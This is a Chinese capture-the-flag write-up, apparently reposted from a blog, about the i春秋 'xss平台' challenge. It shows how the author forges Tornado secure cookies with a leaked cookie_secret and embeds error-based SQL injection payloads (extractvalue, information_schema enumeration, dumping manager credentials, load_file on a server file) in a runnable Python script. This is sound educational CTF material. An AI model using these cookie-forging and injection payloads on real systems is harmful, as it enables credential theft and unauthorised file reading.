zoukankan      html  css  js  c++  java
  • i春秋xss平台

    点开是个普普通通的登录窗口,没有注册,只有登录,抓住包也没获取什么有用的信息,看了看dalaowp才知道怎么做,首先抓包然后修改参数的定义来让其报错,pass原本的应该为整数,pass[]=就可以让其定义成数组变量,造成报错

    爆出一条文件路径

    直接访问试试

    什么鬼。。。。看来没什么东西

    找到关键字rtiny

    github搜一下

     

    联想题目是xss平台,可能有关,点进去看看

    有许许多多的py文件

    一一查看就会发现在lock.py中就会有sql注入的点

    不过其username是经过函数self.get_secure_cookie的,这里又是组合的一套代码,所以我们直接去找找看其他文件,看有没有定义self.get_secure_cookie函数的

    最终在index.py中找到cookie加密钥匙

    根据这个密钥写出我们的cookie_secret加密函数

     

    # coding:utf-8
    import tornado.ioloop
    import tornado.web 
    # @author: V0W
    # @reference: https://blog.csdn.net/include_heqile/article/details/82591707
    
    settings = { 
       "cookie_secret" : "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",
    }
    
    class MainHandler(tornado.web.RequestHandler):
        def get(self):
            self.write("Hello")
            #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select version()))) -- ")
            #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select group_concat(distinct table_name) from information_schema.tables where table_schema=database())))-- ")
            #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))-- ")
            #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ")
            #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select load_file('/var/www/html/f13g_ls_here.txt'))))#")
            self.set_secure_cookie("username""' and extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),28,60)))#")
            self.write(self.get_secure_cookie("username"))
    
    def make_app():
        return tornado.web.Application([
            (r"/index", MainHandler),
            ], **settings)
    
    if __name__ == "__main__":
        app = make_app()
        app.listen(8089)
        tornado.ioloop.IOLoop.instance().start()

     

    (这个py程序需要安装pytornado.ioloop,安装指令python -m pip install tornado)然后运行此py程序后不会有回显,需要保持py运行然后去访问本地网页127.0.0.1:8089/index(监听的哪个端口就跟哪个端口就行了,这里是8089)

    再查看网页cookie中的username值就是cookie_secret加密过后的值。

    将其通过bp进行注入即可得到usernamepassword,再登录xss平台得到提示flagf13g_ls_here.txt(期间注释的5句就是依次的爆版本,爆表名,爆列名,爆用户名和密码,爆文件内容)再爆文件就是flag了,由于这里做了长度限制,所以flag需要分两步爆出来

     

     

     

     

     

     

     

  • 相关阅读:
    POJ 3278 Catch That Cow(BFS)
    POJ 2488 A Knight's Journey(DFS)
    POJ 2386 Lake Counting(DFS)
    迷宫问题(BFS)
    两点(DFS)
    POJ 1001 Exponentiation(大数运算)
    Java IO流01-总叙
    hdu 2065 "红色病毒"问题(快速幂求模)
    POJ 2251 Dungeon Master(BFS)
    POJ 1321 棋盘问题(DFS)
  • 原文地址:https://www.cnblogs.com/wosun/p/11675151.html
Copyright © 2011-2022 走看看